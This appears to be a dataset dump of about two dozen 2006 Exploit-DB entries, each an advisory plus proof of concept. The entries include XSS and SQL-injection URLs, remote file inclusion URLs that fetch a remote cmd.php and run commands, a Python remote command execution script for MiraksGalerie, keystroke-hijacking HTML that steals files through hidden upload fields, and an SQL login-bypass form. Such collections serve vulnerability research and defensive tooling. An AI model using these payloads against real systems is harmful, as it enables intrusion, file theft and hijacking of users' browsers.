QLWD/code_shield huggingface dataset:
标题: FreeType - '.TTF' File Remote Buffer Overflow EDB-ID: 27992 CVE: 2006-0747 类型: REMOTE 平台: UNIX 发布日期: 2006-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/18326/info

FreeType is prone to a buffer-overflow vulnerability. This issue is due to an integer-underflow that results in a buffer being overrun with attacker-supplied data.

This issue allows remote attackers to execute arbitrary machine code in the context of applications that use the affected library. Failed exploit attempts will likely crash applications, denying service to legitimate users.

FreeType versions prior to 2.2.1 are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27992.zip URL: https://www.exploit-db.com/exploits/27992
标题: Open Business Management 1.0.3 pl1 - 'publication_index.php?tf_lang' Cross-Site Scripting EDB-ID: 27994 CVE: 2006-3009 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18348/info

Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.


An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.

http://obm-host/publication/publication_index.php?tf_title=&sel_type=_ALL_&tf_year=&tf_lang=[XSS] URL: https://www.exploit-db.com/exploits/27994
标题: AZ Photo Album Script Pro - Cross-Site Scripting EDB-ID: 27985 CVE: 2006-2680 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/18306/info

AZ Photo Album Script Pro is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?&gazpart=view<IMG%20"""><SCRIPT>alert("XSS")</SCRIPT>">&<IMG%20"""><SCRIPT>alert("XSS")</SCRIPT>">gazimage=198 URL: https://www.exploit-db.com/exploits/27985
标题: Calendar Express 2.2 - 'month.php' SQL Injection EDB-ID: 27990 CVE: 2006-2973 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18314/info

Calendar Express is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/print/month.php?cid=&catid=[SQL]
http://www.example.com/print/month.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/27990
标题: Open Business Management 1.0.3 pl1 - 'company_index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27998 CVE: 2006-3009 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18348/info
    
Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.
    
    
An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.

http://obm-host/company/company_index.php?action=search&tf_name=&tf_phone=&sel_kind=&sel_cat=&tf_cat_code=&cb_cat_tree=&sel_act=&sel_naf=&tf_zip=&cb_archive=&sel_market=&tf_town=&sel_ctry=&sel
_dsrc=&tf_dateafter=&tf_datebefore=[XSS]
http://obm-host/company/company_index.php?action=search&tf_name=&tf_phone=&sel_kind=&sel_cat=&tf_cat_code=&cb_cat_tree=&sel_act=&sel_naf=&tf_zip=&cb_archive=&sel_market=&tf_town=&sel_ctry=&sel
_dsrc=&tf_dateafter=[XSS] URL: https://www.exploit-db.com/exploits/27998
标题: MiraksGalerie 2.62 - 'galsecurity.lib.php?listconfigfile[0]' Remote File Inclusion EDB-ID: 27989 CVE: 2006-2922 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18313/info
 
MiraksGalerie is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[mg_path]/galsecurity.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname URL: https://www.exploit-db.com/exploits/27989
标题: Open Business Management 1.0.3 pl1 - 'user_index.php?tf_lastname' Cross-Site Scripting EDB-ID: 27996 CVE: 2006-3009 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18348/info
  
Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.
  
  
An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.

http://obm-host/user/user_index.php?action=search&tf_login=&tf_lastname=[XSS] URL: https://www.exploit-db.com/exploits/27996
标题: FreeType - '.TTF' File Remote Denial of Service EDB-ID: 27993 CVE: 2006-2661 类型: DOS 平台: MULTIPLE 发布日期: 2006-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/18329/info

FreeType is prone to a denial-of-service vulnerability. This issue is due to a flaw in the library that causes a NULL-pointer dereference.

This issue allows remote attackers to crash applications that use the affected library, denying service to legitimate users.

FreeType versions prior to 2.2.1 are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27993.zip URL: https://www.exploit-db.com/exploits/27993
标题: MiraksGalerie 2.62 - 'galimage.lib.php?listconfigfile[0]' Remote File Inclusion EDB-ID: 27988 CVE: 2006-2922 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18313/info

MiraksGalerie is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

#!/usr/bin/env python
#
# MiraksGalerie <= 2.62 Multiple Remote command execution
# python f_mg-2.62.py <remote_addr> <remote_port> <remote_path> <remote_cmd>
<command>
#
# Federico Fazzi <federico@autistici.org>
# more info see advisory.

# need register_global = On

import os, sys, socket

usage = "run: python %s [remote_addr> [remote_port] [remote_path]
[remote_cmd] <command>" % os.path.basename(sys.argv[0])

if len(sys.argv) < 6:
        print usage
        sys.exit()
else:
        host = sys.argv[1]
        port = int(sys.argv[2])
        path = sys.argv[3]
        cmd = sys.argv[4]
        command = sys.argv[5]

        print "MiraksGalerie <= 2.62 Remote command execution"
        print "Federico Fazzi <federico@autistici.org>\n"

        includers = ['pcltar.lib.php?g_pcltar_lib_dr=',
        'galimage.lib.php?listconfigfile[0]=',
                     'galsecurity.lib.php?listconfigfile[0]=']

        for inc in includers:
                print ">> i try string %s" % inc
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.connect((host, port))
                sock.send("GET %s%s%s?cmd=%s \r\n" % (path, inc, cmd,
                command))
        print "\n>> reading.. done\n"
        buf = sock.recv(2048)
        print buf URL: https://www.exploit-db.com/exploits/27988
标题: Mozilla Firefox 1.x - JavaScript Key Filtering EDB-ID: 27987 CVE: 2006-2894 类型: REMOTE 平台: LINUX 发布日期: 2006-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18308/info
 
Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users.
 
This issue is demonstrated to allow attackers to divert keystrokes from one input form in a webpage to a hidden file-upload dialog in the same page. This may allow remote attackers to initiate file uploads from unsuspecting users. Other attacks may also be possible.
 
Exploiting this issue requires that users manually type the full path of files that attackers wish to download. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input to exploit this issue.
 
Reportedly, Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and Microsoft Internet Explorer are all vulnerable to this issue.


<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
        color: white;
        background-color: white;
        opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
    {
    saved = chucky.which;
    //alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');
    if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||
        i > mystring.length-1) {
       return false;
    }
    i++;
    return true;
  };
function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id='txt' type=text value=''
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className='second';">
<input type=button value="visible"
onclick="document.forms[0].fileupload.className='first';">

</FORM>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/27987
标题: Microsoft Internet Explorer 5.5/6.0/7.0 - JavaScript Key Filtering EDB-ID: 27986 CVE: 2006-2894 类型: REMOTE 平台: WINDOWS 发布日期: 2006-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18308/info

Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users.

This issue is demonstrated to allow attackers to divert keystrokes from one input form in a webpage to a hidden file-upload dialog in the same page. This may allow remote attackers to initiate file uploads from unsuspecting users. Other attacks may also be possible.

Exploiting this issue requires that users manually type the full path of files that attackers wish to download. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input to exploit this issue.

Reportedly, Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and Microsoft Internet Explorer are all vulnerable to this issue.


<HTML>
<HEAD>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
var i=mystring.length-1;

function doKeyPress () {
e = window.event;
saved = e.keyCode;
window.status = "e.keyCode == " + e.keyCode + "character is " +
mystring.charCodeAt(i);
if(e.keyCode != mystring.charCodeAt(i))
    {
    //e.keyCode =0;
    e.returnValue=false;
    e.cancelBubble=true;
}
else {
    i--;
}
document.forms[0].fileupload.focus();

}

function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

function switchtype() {
  /*  var e = document.getElementById('txt');
       document.forms[0].txt.setAttribute("type", "file");
       e.setAttribute("value", "asfasfsd");
  */
}

function fux0rKeys() {
   }
</SCRIPT>
</HEAD>
<BODY onload="document.forms[0].txt.value='sometext';
document.forms[0].fileupload.value='asdfsdfadsf';">
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="doKeyPress();">
<input name=txt id='txt' type=text value='asdfsdafasdf'
OnKeyDown="document.forms[0].fileupload.focus();"
asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"
onClick=""> visible
</FORM>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/27986
标题: Microsoft DXImageTransform.Microsoft.Light - ActiveX Control Remote Code Execution EDB-ID: 27984 CVE: 2006-2383 类型: REMOTE 平台: WINDOWS 发布日期: 2006-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18303/info

The DXImageTransform.Microsoft.Light ActiveX control is prone to remote code execution. 

An attacker could exploit this issue to execute code in the context of the user visiting a malicious web page.

<!--
MS Internet Explorer 6 DirectX Media DoS Vulnerability
DLL: dxtmsft.dll

Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)

Description: 
Sub moveLight (
  ByVal lightNum  As Long , 
  ByVal x  As Long , 
  ByVal y  As Long , 
  ByVal z  As Long , 
  ByVal fAbsolute  As Long 
)
Supplying negative parameters throws an access violation. 
-->

<object classid="clsid:F9EFBEC2-4302-11D2-952A-00C04FA34F05" id="DXTLight">
 Unable to create object
</object>

<script language="vbscript">
 Sub go
  DXTLight.moveLight "-1", "1", "1", "1", "1"
 End Sub
</script>
<input language=VBScript type="button" value="Try me" onclick="go()"> URL: https://www.exploit-db.com/exploits/27984
标题: ESTsoft InternetDisk - Arbitrary File Upload / Script Execution EDB-ID: 27972 CVE: 2006-2899 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18279/info

ESTsoft InternetDisk is prone to an arbitrary file-upload and script-execution vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

This issue affects versions of InternetDisk downloaded prior to 19 April, 2006.

The following URI will demonstrate a filename that attackers may use to exploit this issue:
http://www.example.com/WebLink/yourid/somephpcode.php.kr URL: https://www.exploit-db.com/exploits/27972
标题: Bookmark4U 2.0 - '/inc/function.php?env[include_prefix]' Remote File Inclusion EDB-ID: 27976 CVE: 2006-2877 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18281/info
   
Bookmark4U is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
http://www.example.com/[Bookmark4Upath]/inc/function.php?env[include_prefix]=[evil_scripts] URL: https://www.exploit-db.com/exploits/27976
标题: GANTTy 1.0.3 - 'index.php' Cross-Site Scripting EDB-ID: 27982 CVE: 2006-2892 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18296/info

GANTTy is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?action=login&message=<IMG SRC=javascript:alert(&#039;XSS&#039;)>+email&lang= URL: https://www.exploit-db.com/exploits/27982
标题: Bookmark4U 2.0 - '/inc/dbase.php?env[include_prefix]' Remote File Inclusion EDB-ID: 27973 CVE: 2006-2877 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18281/info

Bookmark4U is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[Bookmark4Upath]/inc/dbase.php?env[include_prefix]=[evil_scripts] URL: https://www.exploit-db.com/exploits/27973
标题: Microsoft Internet Explorer 5.0.1 - Frameset Memory Corruption EDB-ID: 27971 CVE: 2006-3637 类型: DOS 平台: WINDOWS 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18277/info

Microsoft Internet Explorer is affected by a memory-corruption vulnerability. This issue arises because the application fails to handle exceptional conditions in a proper manner.

An attacker may exploit this issue by enticing a user to visit a malicious site and then to click anywhere on the page. This results in a denial-of-service condition in the application.

The vendor reports this issue may also be exploited to execute arbitrary code in the context of the victim user.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27971.zip URL: https://www.exploit-db.com/exploits/27971
标题: Kmita FAQ 1.0 - 'index.php?catid' SQL Injection EDB-ID: 27978 CVE: 2006-2884 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18282/info
 
Kmita FAQ is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/index.php?catid=[SQL] URL: https://www.exploit-db.com/exploits/27978
标题: myNewsletter 1.1.2 - 'Username' SQL Injection EDB-ID: 27979 CVE: 2006-2887 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18287/info

myNewsletter is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp">
<input type="hidden" name="UserName" value="<!--&#039;union select 1 from Newsletter_Admin where &#039;&#039;=&#039;">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->
<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>
</form>
</html> URL: https://www.exploit-db.com/exploits/27979
标题: Kmita FAQ 1.0 - 'search.php?q' Cross-Site Scripting EDB-ID: 27977 CVE: 2006-2883 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18282/info

Kmita FAQ is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/search.php?q=[XSS] URL: https://www.exploit-db.com/exploits/27977
标题: Bookmark4U 2.0 - '/inc/config.php?env[include_prefix]' Remote File Inclusion EDB-ID: 27974 CVE: 2006-2877 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18281/info
 
Bookmark4U is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/[Bookmark4Upath]/inc/config.php?env[include_prefix]=[evil_scripts] URL: https://www.exploit-db.com/exploits/27974
标题: Bookmark4U 2.0 - '/inc/common.php?env[include_prefix]' Remote File Inclusion EDB-ID: 27975 CVE: 2006-2877 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18281/info
  
Bookmark4U is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/[Bookmark4Upath]/inc/common.php?env[include_prefix]=[evil_scripts] URL: https://www.exploit-db.com/exploits/27975
标题: CyBoards PHP Lite 1.21/1.25 - 'Common.php' Remote File Inclusion EDB-ID: 27970 CVE: 2006-2871 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18272/info

CyBoards PHP Lite is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Further analysis shows that the specified parameter is clearly defined. Therefore, this BID is being retired.

http://www.example.com/path/include/common.php?script_path=CmdShell URL: https://www.exploit-db.com/exploits/27970